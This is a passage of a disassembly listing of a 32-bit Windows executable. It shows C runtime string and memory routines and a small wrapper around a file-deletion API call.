80000000h ja short loc_41C3E2 loc_41C3D9: ; CODE XREF: sub_41C22D+1A1j test ecx, ecx jnz short loc_41C409 cmp [ebp+var_8], eax jbe short loc_41C409 loc_41C3E2: ; CODE XREF: sub_41C22D+197j ; sub_41C22D+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DE5C4, 22h jz short loc_41C3F8 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41C409 ; --------------------------------------------------------------------------- loc_41C3F8: ; CODE XREF: sub_41C22D+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41C409: ; CODE XREF: sub_41C22D+18Dj ; sub_41C22D+19Cj ... test edx, edx jz short loc_41C412 mov eax, [ebp+var_4] mov [edx], eax loc_41C412: ; CODE XREF: sub_41C22D+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41C420 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41C420: ; CODE XREF: sub_41C22D+1E9j mov eax, [ebp+var_8] jmp short loc_41C430 ; --------------------------------------------------------------------------- loc_41C425: ; CODE XREF: sub_41C22D+66j ; sub_41C22D+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41C42E mov [eax], edi loc_41C42E: ; CODE XREF: sub_41C22D+1FDj xor eax, eax loc_41C430: ; CODE XREF: sub_41C22D+1F6j pop edi pop esi pop ebx leave retn sub_41C22D endp ; =============== S U B R O U T I N E ======================================= sub_41C435 proc near ; CODE XREF: sub_401AA1+60B4p ; sub_401AA1+68E0p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C22D add esp, 10h retn sub_41C435 endp ; =============== S U B R O U T I N E ======================================= sub_41C44C proc near ; CODE XREF: sub_401AA1+5871p arg_0 = dword ptr 4 push [esp+arg_0] call dword_428088 ; DeleteFileA test eax, eax jnz short loc_41C462 call dword_428094 ; RtlGetLastWin32Error jmp short loc_41C464 ; --------------------------------------------------------------------------- loc_41C462: ; CODE XREF: sub_41C44C+Cj xor eax, eax loc_41C464: ; CODE XREF: sub_41C44C+14j test eax, eax jz short loc_41C473 push eax call sub_420A7F pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41C473: ; CODE XREF: sub_41C44C+1Aj xor eax, eax retn sub_41C44C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C476 proc near ; CODE XREF: sub_401AA1+57DFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420AE6 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41FD3F push [ebp+arg_0] mov edi, eax push esi call sub_420B73 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41C476 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C4B0 proc near ; CODE XREF: sub_401AA1+1DD5p ; sub_401AA1+1DF4p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41C4D1 xor eax, eax jmp short loc_41C4D3 ; --------------------------------------------------------------------------- loc_41C4D1: ; CODE XREF: sub_41C4B0+1Bj mov eax, edi loc_41C4D3: ; CODE XREF: sub_41C4B0+1Fj cld pop edi leave retn sub_41C4B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C4E0 proc near ; CODE XREF: sub_401AA1+818p ; sub_41E32A+93p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41C511 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41C50F jz short loc_41C511 dec ecx dec ecx loc_41C50F: ; CODE XREF: sub_41C4E0+29j not ecx loc_41C511: ; CODE XREF: sub_41C4E0+9j ; sub_41C4E0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41C4E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C520 proc near ; CODE XREF: sub_401AA1+40Ep ; sub_401AA1+2FD2p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41C591 sub_41C520 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C530 proc near ; CODE XREF: sub_401AA1+417p ; sub_401AA1+73C9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41C54C loc_41C53D: ; CODE XREF: sub_41C530+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41C57F test ecx, 3 jnz short loc_41C53D loc_41C54C: ; CODE XREF: sub_41C530+Bj ; sub_41C530+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41C54C mov eax, [ecx-4] test al, al jz short loc_41C58E test ah, ah jz short loc_41C589 test eax, 0FF0000h jz short loc_41C584 test eax, 0FF000000h jz short loc_41C57F jmp short loc_41C54C ; --------------------------------------------------------------------------- loc_41C57F: ; CODE XREF: sub_41C530+12j ; sub_41C530+4Bj lea edi, [ecx-1] jmp short loc_41C591 ; --------------------------------------------------------------------------- loc_41C584: ; CODE XREF: sub_41C530+44j lea edi, [ecx-2] jmp short loc_41C591 ; --------------------------------------------------------------------------- loc_41C589: ; CODE XREF: sub_41C530+3Dj lea edi, [ecx-3] jmp short loc_41C591 ; --------------------------------------------------------------------------- loc_41C58E: ; CODE XREF: sub_41C530+39j lea edi, [ecx-4] loc_41C591: ; CODE XREF: sub_41C520+5j ; sub_41C530+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41C5B6 loc_41C59D: ; CODE XREF: sub_41C530+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41C608 mov [edi], dl inc edi test ecx, 3 jnz short loc_41C59D jmp short loc_41C5B6 ; --------------------------------------------------------------------------- loc_41C5B1: ; CODE XREF: sub_41C530+9Ej ; sub_41C530+B8j mov [edi], edx add edi, 4 loc_41C5B6: ; CODE XREF: sub_41C530+6Bj ; sub_41C530+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41C5B1 test dl, dl jz short loc_41C608 test dh, dh jz short loc_41C5FF test edx, 0FF0000h jz short loc_41C5F2 test edx, 0FF000000h jz short loc_41C5EA jmp short loc_41C5B1 ; --------------------------------------------------------------------------- loc_41C5EA: ; CODE XREF: sub_41C530+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C5F2: ; CODE XREF: sub_41C530+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41C5FF: ; CODE XREF: sub_41C530+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C608: ; CODE XREF: sub_41C530+72j ; sub_41C530+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41C530 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C620 loc_41C610: ; CODE XREF: sub_41C620+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41C620 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C620 proc near ; CODE XREF: sub_401AA1+3F3p ; sub_401AA1+490p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041C610 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41C626: ; CODE XREF: sub_41BF70+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41C64B loc_41C638: ; CODE XREF: sub_41C620+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41C610 test cl, cl jz short loc_41C694 test edx, 3 jnz short loc_41C638 loc_41C64B: ; CODE XREF: sub_41C620+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41C656: ; CODE XREF: sub_41C620+61j ; sub_41C620+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C698 and eax, 81010100h jz short loc_41C656 and eax, 1010100h jnz short loc_41C692 and esi, 80000000h jnz short loc_41C656 loc_41C692: ; CODE XREF: sub_41C620+68j ; sub_41C620+81j ... pop esi pop edi loc_41C694: ; CODE XREF: sub_41C620+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C698: ; CODE XREF: sub_41C620+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C6D5 test al, al jz short loc_41C692 cmp ah, bl jz short loc_41C6CE test ah, ah jz short loc_41C692 shr eax, 10h cmp al, bl jz short loc_41C6C7 test al, al jz short loc_41C692 cmp ah, bl jz short loc_41C6C0 test ah, ah jz short loc_41C692 jmp short loc_41C656 ; --------------------------------------------------------------------------- loc_41C6C0: ; CODE XREF: sub_41C620+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C6C7: ; CODE XREF: sub_41C620+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C6CE: ; CODE XREF: sub_41C620+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C6D5: ; CODE XREF: sub_41C620+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41C620 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C6E0 proc near ; CODE XREF: sub_401AA1+1A0p ; sub_401AA1+1F7p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C72C loc_41C6F0: ; CODE XREF: sub_41C6E0+3Cj ; sub_41C6E0+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C724 or al, al jz short loc_41C720 cmp ah, [ecx+1] jnz short loc_41C724 or ah, ah jz short loc_41C720 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C724 or al, al jz short loc_41C720 cmp ah, [ecx+3] jnz short loc_41C724 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C6F0 mov edi, edi loc_41C720: ; CODE XREF: sub_41C6E0+18j ; sub_41C6E0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C724: ; CODE XREF: sub_41C6E0+14j ; sub_41C6E0+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C72C: ; CODE XREF: sub_41C6E0+Ej test edx, 1 jz short loc_41C748 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C724 inc ecx or al, al jz short loc_41C720 test edx, 2 jz short loc_41C6F0 loc_41C748: ; CODE XREF: sub_41C6E0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C724 or al, al jz short loc_41C720 cmp ah, [ecx+1] jnz short loc_41C724 or ah, ah jz short loc_41C720 add ecx, 2 jmp short loc_41C6F0 sub_41C6E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C764 proc near ; CODE XREF: sub_401AA1+B5p ; sub_401AA1+C8p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C77D: ; CODE XREF: sub_41C764+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C77D mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C7A5 mov edx, dword_4DE610 loc_41C7A5: ; CODE XREF: sub_41C764+39j ; sub_41C764+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C7C5 test al, al jz short loc_41C7C5 inc edx jmp short loc_41C7A5 ; --------------------------------------------------------------------------- loc_41C7C5: ; CODE XREF: sub_41C764+58j ; sub_41C764+5Cj mov ebx, edx loc_41C7C7: ; CODE XREF: sub_41C764+81j mov al, [edx] test al, al jz short loc_41C7EB movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C7E7 inc edx jmp short loc_41C7C7 ; --------------------------------------------------------------------------- loc_41C7E7: ; CODE XREF: sub_41C764+7Ej and byte ptr [edx], 0 inc edx loc_41C7EB: ; CODE XREF: sub_41C764+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DE610, edx and eax, ebx pop ebx leave retn sub_41C764 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C800 proc near ; CODE XREF: sub_4096FD+1Cp ; sub_415FB9+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41FD3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C83E mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C84B ; --------------------------------------------------------------------------- loc_41C83E: ; CODE XREF: sub_41C800+34j lea eax, [ebp+var_20] push eax push 0 call sub_41FC2A pop ecx pop ecx loc_41C84B: ; CODE XREF: sub_41C800+3Cj mov eax, esi pop esi leave retn sub_41C800 endp ; =============== S U B R O U T I N E ======================================= sub_41C850 proc near ; CODE XREF: sub_40AC83+82p ; sub_40B790+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C904 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C87A loc_41C86B: ; CODE XREF: sub_41C850+28j mov al, [edi] inc edi test al, al jz short loc_41C8AB test edi, 3 jnz short loc_41C86B loc_41C87A: ; CODE XREF: sub_41C850+19j ; sub_41C850+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C87A mov eax, [edi-4] test al, al jz short loc_41C8B8 test ah, ah jz short loc_41C8B3 test eax, 0FF0000h jz short loc_41C8AE test eax, 0FF000000h jnz short loc_41C87A loc_41C8AB: ; CODE XREF: sub_41C850+20j dec edi jmp short loc_41C8BB ; --------------------------------------------------------------------------- loc_41C8AE: ; CODE XREF: sub_41C850+52j sub edi, 2 jmp short loc_41C8BB ; --------------------------------------------------------------------------- loc_41C8B3: ; CODE XREF: sub_41C850+4Bj sub edi, 3 jmp short loc_41C8BB ; --------------------------------------------------------------------------- loc_41C8B8: ; CODE XREF: sub_41C850+47j sub edi, 4 loc_41C8BB: ; CODE XREF: sub_41C850+5Cj ; sub_41C850+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C8D0 mov ebx, ecx shr ecx, 2 jnz short loc_41C91C jmp short loc_41C8EC ; --------------------------------------------------------------------------- loc_41C8D0: ; CODE XREF: sub_41C850+75j ; sub_41C850+93j mov dl, [esi] inc esi test dl, dl jz short loc_41C90A mov [edi], dl inc edi dec ecx jz short loc_41C900 test esi, 3 jnz short loc_41C8D0 mov ebx, ecx shr ecx, 2 jnz short loc_41C91C loc_41C8EC: ; CODE XREF: sub_41C850+7Ej ; sub_41C850+CAj mov ecx, ebx and ecx, 3 jz short loc_41C900 loc_41C8F3: ; CODE XREF: sub_41C850+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41C902 dec ecx jnz short loc_41C8F3 loc_41C900: ; CODE XREF: sub_41C850+8Bj ; sub_41C850+A1j mov [edi], cl loc_41C902: ; CODE XREF: sub_41C850+ABj pop ebx pop esi loc_41C904: ; CODE XREF: sub_41C850+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C90A: ; CODE XREF: sub_41C850+85j ; sub_41C850+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C914: ; CODE XREF: sub_41C850+E4j ; sub_41C850+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C8EC loc_41C91C: ; CODE XREF: sub_41C850+7Cj ; sub_41C850+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C914 test dl, dl jz short loc_41C90A test dh, dh jz short loc_41C968 test edx, 0FF0000h jz short loc_41C958 test edx, 0FF000000h jnz short loc_41C914 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C958: ; CODE XREF: sub_41C850+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C968: ; CODE XREF: sub_41C850+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C850 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C973 proc near ; CODE XREF: .XPack0:0040AF02p ; sub_40C138+40p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41B650 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420BB0 add esp, 10h leave retn sub_41C973 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9B0 proc far ; CODE XREF: sub_40AFDC+62p ; sub_40AFDC+6Fp ... arg_FFFFFFFC = dword ptr 8 arg_0 = dword ptr 0Ch arg_4 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edi, [ebp+arg_FFFFFFFC] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41C9D0 cmp edi, eax jb loc_41CB48 loc_41C9D0: ; CODE XREF: sub_41C9B0+16j test edi, 3 jnz short loc_41C9EC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CA0C rep movsd jmp off_41CAF8[edx*4] ; --------------------------------------------------------------------------- loc_41C9EC: ; CODE XREF: sub_41C9B0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CA04 and eax, 3 add ecx, eax jmp dword ptr loc_41CA0C+4[eax*4] ; --------------------------------------------------------------------------- loc_41CA04: ; CODE XREF: sub_41C9B0+46j jmp dword ptr loc_41CB08[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CA0C: ; CODE XREF: sub_41C9B0+31j ; sub_41C9B0+8Ej ... jmp off_41CA8C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CA20 dd offset loc_41CA4C dd offset loc_41CA70 ; --------------------------------------------------------------------------- loc_41CA20: ; DATA XREF: sub_41C9B0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CA0C rep movsd jmp off_41CAF8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CA4C: ; DATA XREF: sub_41C9B0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CA0C rep movsd jmp off_41CAF8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CA70: ; DATA XREF: sub_41C9B0+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CA0C rep movsd jmp off_41CAF8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CA8C dd offset loc_41CAEF ; DATA XREF: sub_41C9B0:loc_41CA0Cr dd offset loc_41CADC dd offset loc_41CAD4 dd offset loc_41CACC dd offset loc_41CAC4 dd offset loc_41CABC dd offset loc_41CAB4 dd offset loc_41CAAC ; --------------------------------------------------------------------------- loc_41CAAC: ; CODE XREF: sub_41C9B0:loc_41CA0Cj ; DATA XREF: sub_41C9B0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CAB4: ; CODE XREF: sub_41C9B0:loc_41CA0Cj ; DATA XREF: sub_41C9B0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CABC: ; CODE XREF: sub_41C9B0:loc_41CA0Cj ; DATA XREF: sub_41C9B0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CAC4: ; CODE XREF: sub_41C9B0:loc_41CA0Cj ; DATA XREF: sub_41C9B0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CACC: ; CODE XREF: sub_41C9B0:loc_41CA0Cj ; DATA XREF: sub_41C9B0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CAD4: ; CODE XREF: sub_41C9B0:loc_41CA0Cj ; DATA XREF: sub_41C9B0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CADC: ; CODE XREF: sub_41C9B0:loc_41CA0Cj ; DATA XREF: sub_41C9B0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CAEF: ; CODE XREF: sub_41C9B0:loc_41CA0Cj ; DATA XREF: sub_41C9B0:off_41CA8Co jmp off_41CAF8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CAF8 dd offset loc_41CB08 ; DATA XREF: sub_41C9B0+35r ; sub_41C9B0+92r ... dd offset loc_41CB10 dd offset loc_41CB1C dd offset loc_41CB30 ; --------------------------------------------------------------------------- loc_41CB08: ; CODE XREF: sub_41C9B0+35j ; sub_41C9B0+92j ... mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CB10: ; CODE XREF: sub_41C9B0+35j ; sub_41C9B0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CB1C: ; CODE XREF: sub_41C9B0+35j ; sub_41C9B0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CB30: ; CODE XREF: sub_41C9B0+35j ; sub_41C9B0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CB48: ; CODE XREF: sub_41C9B0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CB7C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CB70 std rep movsd cld jmp off_41CC90[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CB70: ; CODE XREF: sub_41C9B0+1B1j ; sub_41C9B0+208j ... neg ecx jmp off_41CC40[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CB7C: ; CODE XREF: sub_41C9B0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CB94 and eax, 3 sub ecx, eax jmp dword ptr loc_41CB94+4[eax*4] ; --------------------------------------------------------------------------- loc_41CB94: ; CODE XREF: sub_41C9B0+1D6j ; DATA XREF: sub_41C9B0+1DDr jmp off_41CC90[ecx*4] ; --------------------------------------------------------------------------- align 4 test al, 0CBh inc ecx add al, cl retf ; --------------------------------------------------------------------------- inc ecx add al, dh retf ; --------------------------------------------------------------------------- inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CB70 std rep movsd cld jmp off_41CC90[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CB70 std rep movsd cld jmp off_41CC90[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CB70 std rep movsd cld jmp off_41CC90[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CC44 dd offset loc_41CC4C dd offset loc_41CC54 dd offset loc_41CC5C dd offset loc_41CC64 dd offset loc_41CC6C dd offset loc_41CC74 off_41CC40 dd offset loc_41CC87 ; DATA XREF: sub_41C9B0+1C2r ; --------------------------------------------------------------------------- loc_41CC44: ; DATA XREF: sub_41C9B0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CC4C: ; DATA XREF: sub_41C9B0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CC54: ; DATA XREF: sub_41C9B0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CC5C: ; DATA XREF: sub_41C9B0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CC64: ; DATA XREF: sub_41C9B0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CC6C: ; DATA XREF: sub_41C9B0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CC74: ; DATA XREF: sub_41C9B0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CC87: ; CODE XREF: sub_41C9B0+1C2j ; DATA XREF: sub_41C9B0:off_41CC40o jmp off_41CC90[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CC90 dd offset loc_41CCA0 ; DATA XREF: sub_41C9B0+1B7r ; sub_41C9B0:loc_41CB94r ... dd offset loc_41CCA8 dd offset loc_41CCB8 dd offset loc_41CCCC ; --------------------------------------------------------------------------- loc_41CCA0: ; CODE XREF: sub_41C9B0+1B7j ; sub_41C9B0:loc_41CB94j ... mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CCA8: ; CODE XREF: sub_41C9B0+1B7j ; sub_41C9B0:loc_41CB94j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CCB8: ; CODE XREF: sub_41C9B0+1B7j ; sub_41C9B0:loc_41CB94j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CCCC: ; CODE XREF: sub_41C9B0+1B7j ; sub_41C9B0:loc_41CB94j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn sub_41C9B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41CCE5(double) sub_41CCE5 proc near ; CODE XREF: sub_40D1F5+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43D5B0 call sub_421E89 